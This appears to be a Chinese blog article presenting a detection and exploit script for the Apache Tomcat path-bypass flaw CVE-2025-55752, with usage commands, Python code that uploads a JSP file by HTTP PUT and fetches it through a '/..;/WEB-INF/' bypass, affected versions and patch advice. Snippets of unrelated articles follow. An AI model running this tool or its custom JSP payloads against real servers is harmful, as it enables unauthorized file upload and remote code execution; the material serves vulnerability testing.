news 2026/7/1 22:26:04

CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具详解

CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具

项目描述

本工具是一个专门用于检测和验证 Apache Tomcat 服务器是否存在 CVE-2025-55752 漏洞的安全脚本。该漏洞是由于重写阀门(Rewrite Valve)与规范化处理存在缺陷,导致攻击者可以绕过路径保护机制,访问或上传文件到受保护目录(如/WEB-INF/)。如果服务器启用了 HTTP PUT 方法,此漏洞可能导致远程代码执行(RCE)。

功能特性

  • 漏洞检测:自动化检测目标 Tomcat 服务器是否存在路径绕过漏洞
  • 文件上传测试:支持通过 HTTP PUT 方法上传测试文件到目标服务器
  • 路径绕过验证:利用..;序列绕过 URL 规范化检查,验证对受保护目录的访问
  • 灵活配置:支持自定义上传文件名和 payload 内容
  • SSL 选项:提供 SSL 证书验证的开关选项
  • 独立检查模式:支持仅进行路径绕过检查而不上传文件

安装指南

系统要求

  • Python 3.x
  • requests

安装步骤

  1. 克隆或下载脚本文件

    gitclone<repository-url>cdCVE-2025-55752
  2. 安装必要的 Python 依赖

    pipinstallrequests urllib3
  3. (可选)配置环境

    • 确保 Python 环境已正确配置
    • 如有代理需求,请配置相应的网络设置

使用说明

基本用法

1. 仅检查路径绕过漏洞
python3 CVE-2025-55752.py http://target:8080 --check

此命令仅测试目标服务器是否存在路径绕过漏洞,不进行文件上传。

2. 完整漏洞检测(包含上传和验证)
python3 CVE-2025-55752.py http://target:8080

此命令将尝试上传一个测试 JSP 文件,并验证是否能通过路径绕过访问该文件。

3. 自定义文件名和 payload
python3 CVE-2025-55752.py http://target:8080 --filename exploit.jsp --payload"<% out.println('PWNED'); %>"

使用自定义的文件名和 payload 内容进行测试。

4. 禁用 SSL 证书验证
python3 CVE-2025-55752.py https://target:8443 --no-ssl-verify

对于使用自签名证书的 HTTPS 目标,使用此选项禁用 SSL 验证。

参数说明

  • url:目标服务器的基础 URL(必需),需包含http://https://
  • --filename:上传的文件名,默认为shell.jsp
  • --payload:上传的文件内容,默认为<% out.println("Bypassed!"); %>
  • --check:仅检查路径绕过,不进行文件上传
  • --no-ssl-verify:禁用 SSL 证书验证

输出说明

  • [+]表示成功或发现漏洞
  • [-]表示失败或未发现漏洞
  • [!]表示发生错误

核心代码

1. 主程序入口与参数解析

defmain():parser=argparse.ArgumentParser(description="CVE-2025-55752 Exploit & Detection Tool")parser.add_argument("url",help="Target base URL (e.g., http://127.0.0.1:8080)")parser.add_argument("--filename",default="shell.jsp",help="Filename to upload (default: shell.jsp)")parser.add_argument("--payload",default="<% out.println(\"Bypassed!\"); %>",help="Payload content to upload")parser.add_argument("--check",action="store_true",help="Only check for path bypass without uploading")parser.add_argument("--no-ssl-verify",action="store_true",help="Disable SSL certificate verification")args=parser.parse_args()print(BANNER)verify_ssl=notargs.no_ssl_verifyifnotargs.url.startswith("http"):print("[-] Please include http:// or https:// in the URL")sys.exit(1)ifargs.check:check_access(args.url,f"/WEB-INF/{args.filename}",verify_ssl)else:uploaded_path=attempt_put_upload(args.url,args.filename,args.payload,verify_ssl)ifuploaded_path:check_access(args.url,f"/WEB-INF/{args.filename}",verify_ssl)if__name__=="__main__":main()

代码说明

  • 使用argparse模块解析命令行参数
  • 验证 URL 格式,确保包含协议头
  • 根据--check参数选择执行模式:仅检查或完整测试
  • 控制 SSL 验证开关

2. 文件上传函数

defattempt_put_upload(target,filename,payload,verify_ssl):upload_path=f"/{filename}"url=f"{target}{upload_path}"try:print(f"[+] Attempting to upload payload to:{url}")response=requests.put(url,data=payload,verify=verify_ssl,timeout=10)ifresponse.status_codein[200,201,204]:print(f"[+] Upload successful! Response code:{response.status_code}")returnupload_pathelse:print(f"[-] Upload failed! Response code:{response.status_code}")returnNoneexceptExceptionase:print(f"[!] Upload error:{e}")returnNone

代码说明

  • 使用 HTTP PUT 方法上传文件到目标服务器
  • 构造完整的上传 URL
  • 检查响应状态码,200/201/204 表示上传成功
  • 添加超时设置防止长时间等待
  • 异常处理确保程序稳定性

3. 路径绕过检查函数

defcheck_access(target,path,verify_ssl):bypass_path=f"/..;{path}"url=f"{target}{bypass_path}"try:print(f"[+] Checking access to:{url}")response=requests.get(url,verify=verify_ssl,timeout=10)ifresponse.status_code==200:print("[+] Bypass successful! Target may be vulnerable.")returnTrueelse:print(f"[-] Access denied or not vulnerable (HTTP{response.status_code}).")returnFalseexceptExceptionase:print(f"[!] Access check error:{e}")returnFalse

代码说明

  • 利用..;序列构造路径绕过 URL
  • 使用 HTTP GET 方法尝试访问受保护路径
  • 响应状态码 200 表示绕过成功,目标可能存在漏洞
  • 添加详细的日志输出,便于调试和分析

4. 初始化与安全设置

importrequestsimportargparseimporturllib3importsysfromurllib.parseimportquote urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)BANNER=""" CVE-2025-55752 Tomcat Path Bypass & Upload Detection Script ============================================================ This tool attempts to exploit a Rewrite Valve + normalization bypass to upload a test JSP file into a protected location (like /WEB-INF) and verify if the server is vulnerable to CVE-2025-55752. """

代码说明

  • 导入必要的 Python 模块
  • 禁用 SSL 警告,避免输出干扰
  • 定义工具横幅,显示工具名称和功能介绍
  • 使用urllib.parse.quote预备 URL 编码功能(虽未在代码中直接使用,但为扩展功能预留)

受影响版本

Tomcat 分支受影响版本
11.x11.0.0-M1 至 11.0.10
10.1.x10.1.0-M1 至 10.1.44
9.0.x9.0.0-M11 至 9.0.108
8.5.x8.5.6 至 8.5.100

建议:升级到已修复的版本(11.0.11、10.1.45 或 9.0.109 及以上版本)。

漏洞原理

CVE-2025-55752 是 Apache Tomcat 中的一个回归漏洞,当重写规则将查询参数映射到 URL 时,URL 规范化逻辑存在缺陷。攻击者可以利用特定的路径遍历序列(如..;)绕过内部保护机制,访问受限制的目录(如/WEB-INF//META-INF/)。如果服务器启用了 HTTP PUT 方法,攻击者可能上传恶意文件并实现远程代码执行。

安全建议

  1. 立即升级:将受影响的 Tomcat 版本升级到已修复的版本
  2. 禁用 HTTP PUT:除非必要,否则应禁用 HTTP PUT 方法
  3. 加强重写规则:对重写规则中的输入进行严格验证和清理
  4. 访问控制:加强受保护目录的访问控制
  5. 监控日志:监控服务器日志,检测可疑的路径遍历或文件上传请求FINISHED
    6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6xNbDhtNlxQOQyXU+FbeFK
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/1 10:35:55

pytest 在命令行调试单个测试用例

在进行 Python 测试时&#xff0c;我们经常需要针对性地运行或调试单个测试用例&#xff0c;而不是执行整个测试套件。pytest 提供了多种灵活的方式来实现这一需求。本文将详细介绍如何在命令行中精准地调试单个测试用例。 环境准备 创建示例测试文件 test_math_operations.py&…

作者头像 李华
网站建设 2026/7/1 10:35:57

谁懂啊!这些专业论文 AI 写作软件,拯救我的毕业论文

作为一名应届毕业生&#xff0c;最近的生活被毕业论文按在地上反复摩擦&#xff0c;谁懂这种焦虑啊&#xff01;熬了好几个大夜&#xff0c;选题改了八遍&#xff0c;框架被导师打回五次&#xff0c;好不容易憋出初稿&#xff0c;查重率直接飙到 40%&#xff0c;对着满屏的红色…

作者头像 李华
网站建设 2026/7/1 4:50:53

mirror_fold.py_utils_0207curso

import osimport randomimport timefrom typing import Dict, Optional, Tupleimport numpy as np# 后视镜折叠场景配置&#xff08;请按你的4种分辨率填写&#xff09;# key: (width, height) value: (x1, y1, x2, y2) 车辆黑色区域在原图上的像素坐标MIRROR_FOLD_CAR_BOXES:…

作者头像 李华
网站建设 2026/7/1 15:52:10

2026年博士论文去AIGC痕迹:10%以下达标攻略

2026年博士论文去AIGC痕迹&#xff1a;10%以下达标攻略 博士论文AI率要求最严格&#xff1a;10%以下&#xff0c;部分985高校甚至要求5%以下。 我一个博士师兄&#xff0c;论文AI率12%&#xff0c;本来以为稳了&#xff0c;结果学校要求10%以下&#xff0c;只差2个点被打回来…

作者头像 李华
网站建设 2026/7/1 11:50:39

2026年检测平台升级后去AIGC痕迹:最新应对方案

2026年检测平台升级后去AIGC痕迹&#xff1a;最新应对方案 2026年开始&#xff0c;知网、维普、万方都在升级AIGC检测算法。 之前能过的论文&#xff0c;现在重新测可能就不行了。我一个学弟的论文&#xff0c;去年12月测12%&#xff0c;今年1月重测变成32%。 先说结论&#…

作者头像 李华
网站建设 2026/7/1 16:02:24

2026年免费去AIGC痕迹工具有哪些?实测对比告诉你

2026年免费去AIGC痕迹工具有哪些&#xff1f;实测对比告诉你 白嫖心理谁都有&#xff0c;我也一样。 论文AI率55%&#xff0c;第一反应就是找免费工具。在网上搜了一圈&#xff0c;试了好几个免费的&#xff0c;结果效果都不理想。 最后还是老老实实花了几十块钱用付费工具&…

作者头像 李华